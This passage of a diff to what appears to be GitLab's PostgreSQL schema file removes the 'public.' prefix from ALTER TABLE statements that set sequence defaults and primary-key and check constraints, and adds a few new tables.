-ALTER TABLE ONLY public.resource_label_events ALTER COLUMN id SET DEFAULT nextval('public.resource_label_events_id_seq'::regclass);
+ALTER TABLE ONLY raw_usage_data ALTER COLUMN id SET DEFAULT nextval('raw_usage_data_id_seq'::regclass);
-ALTER TABLE ONLY public.resource_milestone_events ALTER COLUMN id SET DEFAULT nextval('public.resource_milestone_events_id_seq'::regclass);
+ALTER TABLE ONLY redirect_routes ALTER COLUMN id SET DEFAULT nextval('redirect_routes_id_seq'::regclass);
-ALTER TABLE ONLY public.resource_state_events ALTER COLUMN id SET DEFAULT nextval('public.resource_state_events_id_seq'::regclass);
+ALTER TABLE ONLY release_links ALTER COLUMN id SET DEFAULT nextval('release_links_id_seq'::regclass);
-ALTER TABLE ONLY public.resource_weight_events ALTER COLUMN id SET DEFAULT nextval('public.resource_weight_events_id_seq'::regclass);
+ALTER TABLE ONLY releases ALTER COLUMN id SET DEFAULT nextval('releases_id_seq'::regclass);
-ALTER TABLE ONLY public.reviews ALTER COLUMN id SET DEFAULT nextval('public.reviews_id_seq'::regclass);
+ALTER TABLE ONLY remote_mirrors ALTER COLUMN id SET DEFAULT nextval('remote_mirrors_id_seq'::regclass);
-ALTER TABLE ONLY public.routes ALTER COLUMN id SET DEFAULT nextval('public.routes_id_seq'::regclass);
+ALTER TABLE ONLY requirements ALTER COLUMN id SET DEFAULT nextval('requirements_id_seq'::regclass);
-ALTER TABLE ONLY public.saml_providers ALTER COLUMN id SET DEFAULT nextval('public.saml_providers_id_seq'::regclass);
+ALTER TABLE ONLY requirements_management_test_reports ALTER COLUMN id SET DEFAULT nextval('requirements_management_test_reports_id_seq'::regclass);
-ALTER TABLE ONLY public.scim_identities ALTER COLUMN id SET DEFAULT nextval('public.scim_identities_id_seq'::regclass);
+ALTER TABLE ONLY resource_iteration_events ALTER COLUMN id SET DEFAULT nextval('resource_iteration_events_id_seq'::regclass);
-ALTER TABLE ONLY public.scim_oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('public.scim_oauth_access_tokens_id_seq'::regclass);
+ALTER TABLE ONLY resource_label_events ALTER COLUMN id SET DEFAULT nextval('resource_label_events_id_seq'::regclass);
-ALTER TABLE ONLY public.security_scans ALTER COLUMN id SET DEFAULT nextval('public.security_scans_id_seq'::regclass);
+ALTER TABLE ONLY resource_milestone_events ALTER COLUMN id SET DEFAULT nextval('resource_milestone_events_id_seq'::regclass);
-ALTER TABLE ONLY public.self_managed_prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('public.self_managed_prometheus_alert_events_id_seq'::regclass);
+ALTER TABLE ONLY resource_state_events ALTER COLUMN id SET DEFAULT nextval('resource_state_events_id_seq'::regclass);
-ALTER TABLE ONLY public.sent_notifications ALTER COLUMN id SET DEFAULT nextval('public.sent_notifications_id_seq'::regclass);
+ALTER TABLE ONLY resource_weight_events ALTER COLUMN id SET DEFAULT nextval('resource_weight_events_id_seq'::regclass);
-ALTER TABLE ONLY public.sentry_issues ALTER COLUMN id SET DEFAULT nextval('public.sentry_issues_id_seq'::regclass);
+ALTER TABLE ONLY reviews ALTER COLUMN id SET DEFAULT nextval('reviews_id_seq'::regclass);
-ALTER TABLE ONLY public.services ALTER COLUMN id SET DEFAULT nextval('public.services_id_seq'::regclass);
+ALTER TABLE ONLY routes ALTER COLUMN id SET DEFAULT nextval('routes_id_seq'::regclass);
-ALTER TABLE ONLY public.shards ALTER COLUMN id SET DEFAULT nextval('public.shards_id_seq'::regclass);
+ALTER TABLE ONLY saml_providers ALTER COLUMN id SET DEFAULT nextval('saml_providers_id_seq'::regclass);
-ALTER TABLE ONLY public.slack_integrations ALTER COLUMN id SET DEFAULT nextval('public.slack_integrations_id_seq'::regclass);
+ALTER TABLE ONLY scim_identities ALTER COLUMN id SET DEFAULT nextval('scim_identities_id_seq'::regclass);
-ALTER TABLE ONLY public.smartcard_identities ALTER COLUMN id SET DEFAULT nextval('public.smartcard_identities_id_seq'::regclass);
+ALTER TABLE ONLY scim_oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('scim_oauth_access_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.snippet_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.snippet_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY security_findings ALTER COLUMN id SET DEFAULT nextval('security_findings_id_seq'::regclass);
-ALTER TABLE ONLY public.snippets ALTER COLUMN id SET DEFAULT nextval('public.snippets_id_seq'::regclass);
+ALTER TABLE ONLY security_scans ALTER COLUMN id SET DEFAULT nextval('security_scans_id_seq'::regclass);
-ALTER TABLE ONLY public.software_license_policies ALTER COLUMN id SET DEFAULT nextval('public.software_license_policies_id_seq'::regclass);
+ALTER TABLE ONLY self_managed_prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('self_managed_prometheus_alert_events_id_seq'::regclass);
-ALTER TABLE ONLY public.software_licenses ALTER COLUMN id SET DEFAULT nextval('public.software_licenses_id_seq'::regclass);
+ALTER TABLE ONLY sent_notifications ALTER COLUMN id SET DEFAULT nextval('sent_notifications_id_seq'::regclass);
-ALTER TABLE ONLY public.spam_logs ALTER COLUMN id SET DEFAULT nextval('public.spam_logs_id_seq'::regclass);
+ALTER TABLE ONLY sentry_issues ALTER COLUMN id SET DEFAULT nextval('sentry_issues_id_seq'::regclass);
-ALTER TABLE ONLY public.sprints ALTER COLUMN id SET DEFAULT nextval('public.sprints_id_seq'::regclass);
+ALTER TABLE ONLY services ALTER COLUMN id SET DEFAULT nextval('services_id_seq'::regclass);
-ALTER TABLE ONLY public.status_page_published_incidents ALTER COLUMN id SET DEFAULT nextval('public.status_page_published_incidents_id_seq'::regclass);
+ALTER TABLE ONLY shards ALTER COLUMN id SET DEFAULT nextval('shards_id_seq'::regclass);
-ALTER TABLE ONLY public.status_page_settings ALTER COLUMN project_id SET DEFAULT nextval('public.status_page_settings_project_id_seq'::regclass);
+ALTER TABLE ONLY slack_integrations ALTER COLUMN id SET DEFAULT nextval('slack_integrations_id_seq'::regclass);
-ALTER TABLE ONLY public.subscriptions ALTER COLUMN id SET DEFAULT nextval('public.subscriptions_id_seq'::regclass);
+ALTER TABLE ONLY smartcard_identities ALTER COLUMN id SET DEFAULT nextval('smartcard_identities_id_seq'::regclass);
-ALTER TABLE ONLY public.suggestions ALTER COLUMN id SET DEFAULT nextval('public.suggestions_id_seq'::regclass);
+ALTER TABLE ONLY snippet_user_mentions ALTER COLUMN id SET DEFAULT nextval('snippet_user_mentions_id_seq'::regclass);
-ALTER TABLE ONLY public.system_note_metadata ALTER COLUMN id SET DEFAULT nextval('public.system_note_metadata_id_seq'::regclass);
+ALTER TABLE ONLY snippets ALTER COLUMN id SET DEFAULT nextval('snippets_id_seq'::regclass);
-ALTER TABLE ONLY public.taggings ALTER COLUMN id SET DEFAULT nextval('public.taggings_id_seq'::regclass);
+ALTER TABLE ONLY software_license_policies ALTER COLUMN id SET DEFAULT nextval('software_license_policies_id_seq'::regclass);
-ALTER TABLE ONLY public.tags ALTER COLUMN id SET DEFAULT nextval('public.tags_id_seq'::regclass);
+ALTER TABLE ONLY software_licenses ALTER COLUMN id SET DEFAULT nextval('software_licenses_id_seq'::regclass);
-ALTER TABLE ONLY public.term_agreements ALTER COLUMN id SET DEFAULT nextval('public.term_agreements_id_seq'::regclass);
+ALTER TABLE ONLY spam_logs ALTER COLUMN id SET DEFAULT nextval('spam_logs_id_seq'::regclass);
-ALTER TABLE ONLY public.terraform_states ALTER COLUMN id SET DEFAULT nextval('public.terraform_states_id_seq'::regclass);
+ALTER TABLE ONLY sprints ALTER COLUMN id SET DEFAULT nextval('sprints_id_seq'::regclass);
-ALTER TABLE ONLY public.timelogs ALTER COLUMN id SET DEFAULT nextval('public.timelogs_id_seq'::regclass);
+ALTER TABLE ONLY status_page_published_incidents ALTER COLUMN id SET DEFAULT nextval('status_page_published_incidents_id_seq'::regclass);
-ALTER TABLE ONLY public.todos ALTER COLUMN id SET DEFAULT nextval('public.todos_id_seq'::regclass);
+ALTER TABLE ONLY status_page_settings ALTER COLUMN project_id SET DEFAULT nextval('status_page_settings_project_id_seq'::regclass);
-ALTER TABLE ONLY public.trending_projects ALTER COLUMN id SET DEFAULT nextval('public.trending_projects_id_seq'::regclass);
+ALTER TABLE ONLY subscriptions ALTER COLUMN id SET DEFAULT nextval('subscriptions_id_seq'::regclass);
-ALTER TABLE ONLY public.u2f_registrations ALTER COLUMN id SET DEFAULT nextval('public.u2f_registrations_id_seq'::regclass);
+ALTER TABLE ONLY suggestions ALTER COLUMN id SET DEFAULT nextval('suggestions_id_seq'::regclass);
-ALTER TABLE ONLY public.uploads ALTER COLUMN id SET DEFAULT nextval('public.uploads_id_seq'::regclass);
+ALTER TABLE ONLY system_note_metadata ALTER COLUMN id SET DEFAULT nextval('system_note_metadata_id_seq'::regclass);
-ALTER TABLE ONLY public.user_agent_details ALTER COLUMN id SET DEFAULT nextval('public.user_agent_details_id_seq'::regclass);
+ALTER TABLE ONLY taggings ALTER COLUMN id SET DEFAULT nextval('taggings_id_seq'::regclass);
-ALTER TABLE ONLY public.user_callouts ALTER COLUMN id SET DEFAULT nextval('public.user_callouts_id_seq'::regclass);
+ALTER TABLE ONLY tags ALTER COLUMN id SET DEFAULT nextval('tags_id_seq'::regclass);
-ALTER TABLE ONLY public.user_canonical_emails ALTER COLUMN id SET DEFAULT nextval('public.user_canonical_emails_id_seq'::regclass);
+ALTER TABLE ONLY term_agreements ALTER COLUMN id SET DEFAULT nextval('term_agreements_id_seq'::regclass);
-ALTER TABLE ONLY public.user_custom_attributes ALTER COLUMN id SET DEFAULT nextval('public.user_custom_attributes_id_seq'::regclass);
+ALTER TABLE ONLY terraform_state_versions ALTER COLUMN id SET DEFAULT nextval('terraform_state_versions_id_seq'::regclass);
-ALTER TABLE ONLY public.user_details ALTER COLUMN user_id SET DEFAULT nextval('public.user_details_user_id_seq'::regclass);
+ALTER TABLE ONLY terraform_states ALTER COLUMN id SET DEFAULT nextval('terraform_states_id_seq'::regclass);
-ALTER TABLE ONLY public.user_preferences ALTER COLUMN id SET DEFAULT nextval('public.user_preferences_id_seq'::regclass);
+ALTER TABLE ONLY timelogs ALTER COLUMN id SET DEFAULT nextval('timelogs_id_seq'::regclass);
-ALTER TABLE ONLY public.user_statuses ALTER COLUMN user_id SET DEFAULT nextval('public.user_statuses_user_id_seq'::regclass);
+ALTER TABLE ONLY todos ALTER COLUMN id SET DEFAULT nextval('todos_id_seq'::regclass);
-ALTER TABLE ONLY public.user_synced_attributes_metadata ALTER COLUMN id SET DEFAULT nextval('public.user_synced_attributes_metadata_id_seq'::regclass);
+ALTER TABLE ONLY trending_projects ALTER COLUMN id SET DEFAULT nextval('trending_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.users ALTER COLUMN id SET DEFAULT nextval('public.users_id_seq'::regclass);
+ALTER TABLE ONLY u2f_registrations ALTER COLUMN id SET DEFAULT nextval('u2f_registrations_id_seq'::regclass);
-ALTER TABLE ONLY public.users_ops_dashboard_projects ALTER COLUMN id SET DEFAULT nextval('public.users_ops_dashboard_projects_id_seq'::regclass);
+ALTER TABLE ONLY uploads ALTER COLUMN id SET DEFAULT nextval('uploads_id_seq'::regclass);
-ALTER TABLE ONLY public.users_star_projects ALTER COLUMN id SET DEFAULT nextval('public.users_star_projects_id_seq'::regclass);
+ALTER TABLE ONLY user_agent_details ALTER COLUMN id SET DEFAULT nextval('user_agent_details_id_seq'::regclass);
-ALTER TABLE ONLY public.users_statistics ALTER COLUMN id SET DEFAULT nextval('public.users_statistics_id_seq'::regclass);
+ALTER TABLE ONLY user_callouts ALTER COLUMN id SET DEFAULT nextval('user_callouts_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerabilities ALTER COLUMN id SET DEFAULT nextval('public.vulnerabilities_id_seq'::regclass);
+ALTER TABLE ONLY user_canonical_emails ALTER COLUMN id SET DEFAULT nextval('user_canonical_emails_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_exports ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_exports_id_seq'::regclass);
+ALTER TABLE ONLY user_custom_attributes ALTER COLUMN id SET DEFAULT nextval('user_custom_attributes_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_feedback_id_seq'::regclass);
+ALTER TABLE ONLY user_details ALTER COLUMN user_id SET DEFAULT nextval('user_details_user_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_historical_statistics ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_historical_statistics_id_seq'::regclass);
+ALTER TABLE ONLY user_preferences ALTER COLUMN id SET DEFAULT nextval('user_preferences_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_identifiers ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_identifiers_id_seq'::regclass);
+ALTER TABLE ONLY user_statuses ALTER COLUMN user_id SET DEFAULT nextval('user_statuses_user_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_issue_links ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_issue_links_id_seq'::regclass);
+ALTER TABLE ONLY user_synced_attributes_metadata ALTER COLUMN id SET DEFAULT nextval('user_synced_attributes_metadata_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_occurrence_identifiers ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_occurrence_identifiers_id_seq'::regclass);
+ALTER TABLE ONLY users ALTER COLUMN id SET DEFAULT nextval('users_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_occurrence_pipelines ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_occurrence_pipelines_id_seq'::regclass);
+ALTER TABLE ONLY users_ops_dashboard_projects ALTER COLUMN id SET DEFAULT nextval('users_ops_dashboard_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_occurrences ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_occurrences_id_seq'::regclass);
+ALTER TABLE ONLY users_star_projects ALTER COLUMN id SET DEFAULT nextval('users_star_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_scanners ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_scanners_id_seq'::regclass);
+ALTER TABLE ONLY users_statistics ALTER COLUMN id SET DEFAULT nextval('users_statistics_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_statistics ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_statistics_id_seq'::regclass);
+ALTER TABLE ONLY vulnerabilities ALTER COLUMN id SET DEFAULT nextval('vulnerabilities_id_seq'::regclass);
-ALTER TABLE ONLY public.vulnerability_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.vulnerability_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_exports ALTER COLUMN id SET DEFAULT nextval('vulnerability_exports_id_seq'::regclass);
-ALTER TABLE ONLY public.web_hook_logs ALTER COLUMN id SET DEFAULT nextval('public.web_hook_logs_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('vulnerability_feedback_id_seq'::regclass);
-ALTER TABLE ONLY public.web_hooks ALTER COLUMN id SET DEFAULT nextval('public.web_hooks_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_historical_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_historical_statistics_id_seq'::regclass);
-ALTER TABLE ONLY public.webauthn_registrations ALTER COLUMN id SET DEFAULT nextval('public.webauthn_registrations_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_identifiers ALTER COLUMN id SET DEFAULT nextval('vulnerability_identifiers_id_seq'::regclass);
-ALTER TABLE ONLY public.wiki_page_meta ALTER COLUMN id SET DEFAULT nextval('public.wiki_page_meta_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_issue_links ALTER COLUMN id SET DEFAULT nextval('vulnerability_issue_links_id_seq'::regclass);
-ALTER TABLE ONLY public.wiki_page_slugs ALTER COLUMN id SET DEFAULT nextval('public.wiki_page_slugs_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_occurrence_identifiers ALTER COLUMN id SET DEFAULT nextval('vulnerability_occurrence_identifiers_id_seq'::regclass);
-ALTER TABLE ONLY public.x509_certificates ALTER COLUMN id SET DEFAULT nextval('public.x509_certificates_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_occurrence_pipelines ALTER COLUMN id SET DEFAULT nextval('vulnerability_occurrence_pipelines_id_seq'::regclass);
-ALTER TABLE ONLY public.x509_commit_signatures ALTER COLUMN id SET DEFAULT nextval('public.x509_commit_signatures_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_occurrences ALTER COLUMN id SET DEFAULT nextval('vulnerability_occurrences_id_seq'::regclass);
-ALTER TABLE ONLY public.x509_issuers ALTER COLUMN id SET DEFAULT nextval('public.x509_issuers_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_scanners ALTER COLUMN id SET DEFAULT nextval('vulnerability_scanners_id_seq'::regclass);
-ALTER TABLE ONLY public.zoom_meetings ALTER COLUMN id SET DEFAULT nextval('public.zoom_meetings_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_statistics_id_seq'::regclass);
-ALTER TABLE ONLY public.product_analytics_events_experimental
+ALTER TABLE ONLY vulnerability_user_mentions ALTER COLUMN id SET DEFAULT nextval('vulnerability_user_mentions_id_seq'::regclass);
+
+ALTER TABLE ONLY web_hook_logs ALTER COLUMN id SET DEFAULT nextval('web_hook_logs_id_seq'::regclass);
+
+ALTER TABLE ONLY web_hooks ALTER COLUMN id SET DEFAULT nextval('web_hooks_id_seq'::regclass);
+
+ALTER TABLE ONLY webauthn_registrations ALTER COLUMN id SET DEFAULT nextval('webauthn_registrations_id_seq'::regclass);
+
+ALTER TABLE ONLY wiki_page_meta ALTER COLUMN id SET DEFAULT nextval('wiki_page_meta_id_seq'::regclass);
+
+ALTER TABLE ONLY wiki_page_slugs ALTER COLUMN id SET DEFAULT nextval('wiki_page_slugs_id_seq'::regclass);
+
+ALTER TABLE ONLY x509_certificates ALTER COLUMN id SET DEFAULT nextval('x509_certificates_id_seq'::regclass);
+
+ALTER TABLE ONLY x509_commit_signatures ALTER COLUMN id SET DEFAULT nextval('x509_commit_signatures_id_seq'::regclass);
+
+ALTER TABLE ONLY x509_issuers ALTER COLUMN id SET DEFAULT nextval('x509_issuers_id_seq'::regclass);
+
+ALTER TABLE ONLY zoom_meetings ALTER COLUMN id SET DEFAULT nextval('zoom_meetings_id_seq'::regclass);
+
+ALTER TABLE ONLY product_analytics_events_experimental
ADD CONSTRAINT product_analytics_events_experimental_pkey PRIMARY KEY (id, project_id);
ALTER TABLE ONLY gitlab_partitions_static.product_analytics_events_experimental_00
@@ -17602,1135 +17943,1174 @@ ALTER TABLE ONLY gitlab_partitions_static.product_analytics_events_experimental_
ALTER TABLE ONLY gitlab_partitions_static.product_analytics_events_experimental_63
ADD CONSTRAINT product_analytics_events_experimental_63_pkey PRIMARY KEY (id, project_id);
-ALTER TABLE ONLY public.abuse_reports
+ALTER TABLE ONLY abuse_reports
ADD CONSTRAINT abuse_reports_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.alert_management_alert_assignees
+ALTER TABLE ONLY alert_management_alert_assignees
ADD CONSTRAINT alert_management_alert_assignees_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.alert_management_alert_user_mentions
+ALTER TABLE ONLY alert_management_alert_user_mentions
ADD CONSTRAINT alert_management_alert_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.alert_management_alerts
+ALTER TABLE ONLY alert_management_alerts
ADD CONSTRAINT alert_management_alerts_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.alerts_service_data
+ALTER TABLE ONLY alerts_service_data
ADD CONSTRAINT alerts_service_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.allowed_email_domains
+ALTER TABLE ONLY allowed_email_domains
ADD CONSTRAINT allowed_email_domains_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_stages
+ALTER TABLE ONLY analytics_cycle_analytics_group_stages
ADD CONSTRAINT analytics_cycle_analytics_group_stages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams
+ALTER TABLE ONLY analytics_cycle_analytics_group_value_streams
ADD CONSTRAINT analytics_cycle_analytics_group_value_streams_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages
+ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ADD CONSTRAINT analytics_cycle_analytics_project_stages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.appearances
+ALTER TABLE ONLY analytics_instance_statistics_measurements
+ ADD CONSTRAINT analytics_instance_statistics_measurements_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY appearances
ADD CONSTRAINT appearances_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.application_setting_terms
+ALTER TABLE ONLY application_setting_terms
ADD CONSTRAINT application_setting_terms_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.application_settings
+ALTER TABLE ONLY application_settings
ADD CONSTRAINT application_settings_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_merge_request_rule_sources
+ALTER TABLE ONLY approval_merge_request_rule_sources
ADD CONSTRAINT approval_merge_request_rule_sources_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_merge_request_rules_approved_approvers
+ALTER TABLE ONLY approval_merge_request_rules_approved_approvers
ADD CONSTRAINT approval_merge_request_rules_approved_approvers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_merge_request_rules_groups
+ALTER TABLE ONLY approval_merge_request_rules_groups
ADD CONSTRAINT approval_merge_request_rules_groups_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_merge_request_rules
+ALTER TABLE ONLY approval_merge_request_rules
ADD CONSTRAINT approval_merge_request_rules_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_merge_request_rules_users
+ALTER TABLE ONLY approval_merge_request_rules_users
ADD CONSTRAINT approval_merge_request_rules_users_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_project_rules_groups
+ALTER TABLE ONLY approval_project_rules_groups
ADD CONSTRAINT approval_project_rules_groups_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_project_rules
+ALTER TABLE ONLY approval_project_rules
ADD CONSTRAINT approval_project_rules_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approval_project_rules_users
+ALTER TABLE ONLY approval_project_rules_users
ADD CONSTRAINT approval_project_rules_users_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approvals
+ALTER TABLE ONLY approvals
ADD CONSTRAINT approvals_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approver_groups
+ALTER TABLE ONLY approver_groups
ADD CONSTRAINT approver_groups_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.approvers
+ALTER TABLE ONLY approvers
ADD CONSTRAINT approvers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ar_internal_metadata
+ALTER TABLE ONLY ar_internal_metadata
ADD CONSTRAINT ar_internal_metadata_pkey PRIMARY KEY (key);
-ALTER TABLE ONLY public.audit_events_part_5fc467ac26
+ALTER TABLE ONLY atlassian_identities
+ ADD CONSTRAINT atlassian_identities_pkey PRIMARY KEY (user_id);
+
+ALTER TABLE ONLY audit_events_part_5fc467ac26
ADD CONSTRAINT audit_events_part_5fc467ac26_pkey PRIMARY KEY (id, created_at);
-ALTER TABLE ONLY public.audit_events
+ALTER TABLE ONLY audit_events
ADD CONSTRAINT audit_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.award_emoji
+ALTER TABLE ONLY authentication_events
+ ADD CONSTRAINT authentication_events_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY award_emoji
ADD CONSTRAINT award_emoji_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.aws_roles
+ALTER TABLE ONLY aws_roles
ADD CONSTRAINT aws_roles_pkey PRIMARY KEY (user_id);
-ALTER TABLE ONLY public.background_migration_jobs
+ALTER TABLE ONLY background_migration_jobs
ADD CONSTRAINT background_migration_jobs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.backup_labels
+ALTER TABLE ONLY backup_labels
ADD CONSTRAINT backup_labels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.badges
+ALTER TABLE ONLY badges
ADD CONSTRAINT badges_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.board_assignees
+ALTER TABLE ONLY board_assignees
ADD CONSTRAINT board_assignees_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.board_group_recent_visits
+ALTER TABLE ONLY board_group_recent_visits
ADD CONSTRAINT board_group_recent_visits_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.board_labels
+ALTER TABLE ONLY board_labels
ADD CONSTRAINT board_labels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.board_project_recent_visits
+ALTER TABLE ONLY board_project_recent_visits
ADD CONSTRAINT board_project_recent_visits_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.board_user_preferences
+ALTER TABLE ONLY board_user_preferences
ADD CONSTRAINT board_user_preferences_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.boards
+ALTER TABLE ONLY boards_epic_user_preferences
+ ADD CONSTRAINT boards_epic_user_preferences_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY boards
ADD CONSTRAINT boards_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.broadcast_messages
+ALTER TABLE ONLY broadcast_messages
ADD CONSTRAINT broadcast_messages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.chat_names
+ALTER TABLE ONLY chat_names
ADD CONSTRAINT chat_names_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.chat_teams
+ALTER TABLE ONLY chat_teams
ADD CONSTRAINT chat_teams_pkey PRIMARY KEY (id);
-ALTER TABLE public.design_management_designs
+ALTER TABLE design_management_designs
ADD CONSTRAINT check_07155e2715 CHECK ((char_length((filename)::text) <= 255)) NOT VALID;
-ALTER TABLE public.vulnerability_scanners
+ALTER TABLE vulnerability_scanners
ADD CONSTRAINT check_37608c9db5 CHECK ((char_length(vendor) <= 255)) NOT VALID;
-ALTER TABLE public.packages_package_files
+ALTER TABLE packages_package_files
ADD CONSTRAINT check_4c5e6bb0b3 CHECK ((file_store IS NOT NULL)) NOT VALID;
-ALTER TABLE public.merge_request_diffs
- ADD CONSTRAINT check_93ee616ac9 CHECK ((external_diff_store IS NOT NULL)) NOT VALID;
-
-ALTER TABLE ONLY public.ci_build_needs
+ALTER TABLE ONLY ci_build_needs
ADD CONSTRAINT ci_build_needs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_build_report_results
+ALTER TABLE ONLY ci_build_pending_states
+ ADD CONSTRAINT ci_build_pending_states_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY ci_build_report_results
ADD CONSTRAINT ci_build_report_results_pkey PRIMARY KEY (build_id);
-ALTER TABLE ONLY public.ci_build_trace_chunks
+ALTER TABLE ONLY ci_build_trace_chunks
ADD CONSTRAINT ci_build_trace_chunks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_build_trace_section_names
+ALTER TABLE ONLY ci_build_trace_section_names
ADD CONSTRAINT ci_build_trace_section_names_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_builds_metadata
+ALTER TABLE ONLY ci_builds_metadata
ADD CONSTRAINT ci_builds_metadata_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_builds
+ALTER TABLE ONLY ci_builds
ADD CONSTRAINT ci_builds_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_builds_runner_session
+ALTER TABLE ONLY ci_builds_runner_session
ADD CONSTRAINT ci_builds_runner_session_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_daily_build_group_report_results
+ALTER TABLE ONLY ci_daily_build_group_report_results
ADD CONSTRAINT ci_daily_build_group_report_results_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_freeze_periods
+ALTER TABLE ONLY ci_freeze_periods
ADD CONSTRAINT ci_freeze_periods_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_group_variables
+ALTER TABLE ONLY ci_group_variables
ADD CONSTRAINT ci_group_variables_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_instance_variables
+ALTER TABLE ONLY ci_instance_variables
ADD CONSTRAINT ci_instance_variables_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_job_artifacts
+ALTER TABLE ONLY ci_job_artifacts
ADD CONSTRAINT ci_job_artifacts_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_job_variables
+ALTER TABLE ONLY ci_job_variables
ADD CONSTRAINT ci_job_variables_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipeline_artifacts
+ALTER TABLE ONLY ci_pipeline_artifacts
ADD CONSTRAINT ci_pipeline_artifacts_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipeline_chat_data
+ALTER TABLE ONLY ci_pipeline_chat_data
ADD CONSTRAINT ci_pipeline_chat_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipeline_messages
+ALTER TABLE ONLY ci_pipeline_messages
ADD CONSTRAINT ci_pipeline_messages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipeline_schedule_variables
+ALTER TABLE ONLY ci_pipeline_schedule_variables
